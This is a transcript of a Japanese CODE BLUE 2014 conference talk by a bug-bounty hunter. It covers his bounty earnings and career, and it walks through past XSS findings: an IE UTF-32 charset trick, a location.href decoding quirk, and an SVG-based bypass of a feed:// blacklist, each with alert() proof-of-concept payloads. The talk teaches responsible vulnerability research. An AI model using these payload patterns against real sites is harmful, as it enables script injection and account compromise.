CODE BLUE 2014 : バグハンターの愉しみ by キヌガワマサト Masato Kinugawa
•
34 likes•25,339 views
近年、セキュリティバグの報告に対し報奨金を出す制度を設ける企業が増えてきている。私はこのバグ報奨金プログラムを介して多額の報奨金を貰っ てきた。現在は個人としてほぼ報奨金のみで生計を立てており、プロのバグハンターと言ってもいいだろう。世界でも珍しいプロのバグハンターになった 経緯、積極的参加者視点からみた制度の実際、どのようにして脆弱性を発見しているかなど、テクニカルな話題も交えながら紹介する。
Recommended
More Related Content
What's hot
What's hot (20)
Similar to CODE BLUE 2014 : バグハンターの愉しみ by キヌガワマサト Masato Kinugawa
Similar to CODE BLUE 2014 : バグハンターの愉しみ by キヌガワマサト Masato Kinugawa (20)
More from CODE BLUE
More from CODE BLUE (20)
CODE BLUE 2014 : バグハンターの愉しみ by キヌガワマサト Masato Kinugawa
- 1. バグハンター� の愉しみ Masato Kinugawa た の
- 2. 名前 Masato Kinugawa 国籍 ⽇日本⼈人(と思われる) 趣味 ⾳音楽鑑賞とXSS 職業 バグハンター
- 3. 前 バグハンターの⽣生活と Bounty Program 中 愉しいバグ 後 バグハンターになったわけ
- 5. 職場 ⾃自宅宅 勤務時間 やる気がある時 仕事 セキュリティバグを探す 収⼊入 Bug Bounty ➡これだけでやっていける？
- 7. 27135346 円
- 10. ! Google Vulnerability Reward Program ! 1バグ = $100~∼20,000 $130,803.7 これまでに獲得した報酬 これまでに報告したバグ 127(重複/⾮非報酬対象を含むと191)
- 12. 報酬UPでやる気UP! $
- 13. なんという夜⾏行行性…
- 15. ! 制度度開始からずっと対応が早い ! 重要度度だけでなくバグの⾯面⽩白さも評価 ! 簡潔な説明で問題を理理解してくれる ! 報告者を楽しませてくれる
- 18. https://accounts.google.com/example?oe=utf-‐‑‒32 HTTP/1.1 200 OK Alternate-‐‑‒Protocol: 443:quic,p=0.01 Cache-‐‑‒Control: private, max-‐‑‒age=0 Content-‐‑‒Encoding: gzip Content-‐‑‒Type: text/html; charset=UTF-‐‑‒32 ... ! URLから⽂文字コードを指定できる ! UTF-‐‑‒32を指定できていた
- 21. 00 00 22 00 00 00 3E 00 00 00 3C 00 00 00 00 73 00 00 00 63 00 00 00 72 00 00 00 69 00 00 00 70 00 00 00 74 00 00 3E 00 00 00 00 61 00 00 00 6C 00 00 00 65 00 00 00 72 00 00 00 74 00 00 00 28 00 00 00 31 00 00 00 29 00 00 3C 00 00 00 00 2F 00 00 00 73 00 00 00 63 00 00 00 72 00 00 00 69 00 00 00 70 00 00 00 74 00 00 3E 00 ∀㸀㸀㰀㰀� s c r� i p t� 㸀㸀a l� e r t� ( 1 )� 㰀㰀/ s� c r i� p t 㸀㸀� UTF-‐‑‒32は 4バイト で 1⽂文字 を表現 ➊�
- 22. IEはUTF-‐‑‒32をサポートしていない ➡⽂文字コードは勝⼿手に決まるなにか 00 00 22 00 00 00 3E 00 00 00 3C 00 00 00 00 73 00 00 00 63 00 00 00 72 00 00 00 69 00 00 00 70 00 00 00 74 00 00 3E 00 00 00 00 61 00 00 00 6C 00 00 00 65 00 00 00 72 00 00 00 74 00 00 00 28 00 00 00 31 00 00 00 29 00 00 3C 00 00 00 00 2F 00 00 00 73 00 00 00 63 00 00 00 72 00 00 00 69 00 00 00 70 00 00 00 74 00 00 3E 00 ∀㸀㸀㰀㰀� s c r� i p t� 㸀㸀a l� e r t� ( 1 )� 㰀㰀/ s� c r i� p t 㸀㸀� ❷
- 24. IE(<=9)はこれを無視 ➡00の部分は存在しないのと同じ 00 00 22 00 00 00 3E 00 00 00 3C 00 00 00 00 73 00 00 00 63 00 00 00 72 00 00 00 69 00 00 00 70 00 00 00 74 00 00 3E 00 00 00 00 61 00 00 00 6C 00 00 00 65 00 00 00 72 00 00 00 74 00 00 00 28 00 00 00 31 00 00 00 29 00 00 3C 00 00 00 00 2F 00 00 00 73 00 00 00 63 00 00 00 72 00 00 00 69 00 00 00 70 00 00 00 74 00 00 3E 00 � > �� s c r� i p t� > a l� e r t� ( 1 )� � / s� c r i� p t >� ❸
- 29. location.hrefはJavaScriptで ページのURLを取得する⽅方法の1つ http://example.com/ http://example.com/ location.hrefは
- 30. http://evil%2F@example.com/ location.hrefは http://evil/@example.com/ @以前が勝⼿手にURLデコードされている！ ➡外部サイトを指すURLができてしまう
- 33. ! ついでに⾒見見つけた致命的なバグ ! RSSを表⽰示するfeed:// URLに存在 ! URLの@以前を細⼯工することで無関係の フィードを任意のドメインに展開できる ! 無関係のフィードにスクリプトを紛れ込 ませておけば展開後のドメイン上で動く どのサイトでもXSSできる＼(^o^)/ﾔｯﾀｧ☆ つまり
- 34. feed:// URLではスクリプト実⾏行行が可能な ⽂文字列列を除去する形で制限している (=ブラックリスト) ブラックリストを抜けるだけの簡単なお仕事！ やることは
- 35. <a href="javascript:alert(1)">XSS</a> <a>XSS</a> 除去パターンから抜けられそうな⽂文字列列を導き出す ブ ー ー ー
- 36. <svg>� <a xmlns:xlink="http://www.w3.org/1999/ xlink"� xlink:href="javascript:alert(1)">� <rect width="1000" height="1000" />� </a>� </svg> シ ー ン
- 38. feed://l0.cm%2Fcb.rss%3F@codeblue.jp/ alert('CODE BLUE、2回⽬目開催おめでとう！n'+ document.domain+'から')
- 39. ! ⽂文字コード、ブラウザの挙動/バグと いった様々な要因で危険にさらされる ! 複雑怪奇なバグの発⾒見見こそ最⾼高の愉しみ もっと興味がある？ http://masatokinugawa.l0.cm/
- 42. ! ⼩小さい頃からコンピュータを触って育つ ➡ 2進数の何たるかを知ったのが2009年年 ! 何でも分解することが好き ➡ 別に好きじゃない ! XSSデビューは⼩小6のとき ➡ セキュリティへの⽬目覚めは2009年年
- 43. やりたいことを好きにやろうと決める� 楽しさを⾒見見出せない毎⽇日� 〜～2009 いろいろあった 2010 情報系専⾨門学校を中退
- 44. やりたいこと: 脆弱性を探しまくりたい やたら⾒見見つけられる⾃自分がいた！ しばらくしてGoogleが報酬制度度を始める 起きているうちは脆弱性探しに没頭
- 46. ! やりたいことをやっていた先にあった ! 気付いたらそうなっていた 今後の展望 結婚して主夫しながらバグ探し？ ➡⼥女女⼦子ハントのスキルをつける必要がある
- 47. ! 多くの時間は単純な検証の反復復 ! 発⾒見見できなければ収⼊入無し ! 成果が直接報酬になる達成感は⼤大きい ! 隠れた財宝を発掘したような喜びは他で は味わえない ! 異異常な動作は最⾼高に愉しい それでも
- 48. 探せるスキルが全て スキルを磨くことだけに注⼒力力すればいい 1⼈人でできる ⼈人間関係の悩みも少ない ⾃自宅宅でできる 通勤時間ゼロ分 マイペースにできる やる気がある時にやる
- 49. 趣味で「⾳音楽を聴く」 趣味で「バグハントする」(上と同じ) 「趣味」 とにかく好きなことをしていると光が ⾒見見えるかもしれない！ 何かに迷っている⼈人へ
- 51. ありがとう！ @kinugawamasato ✉ masatokinugawa [at] gmail.com Contact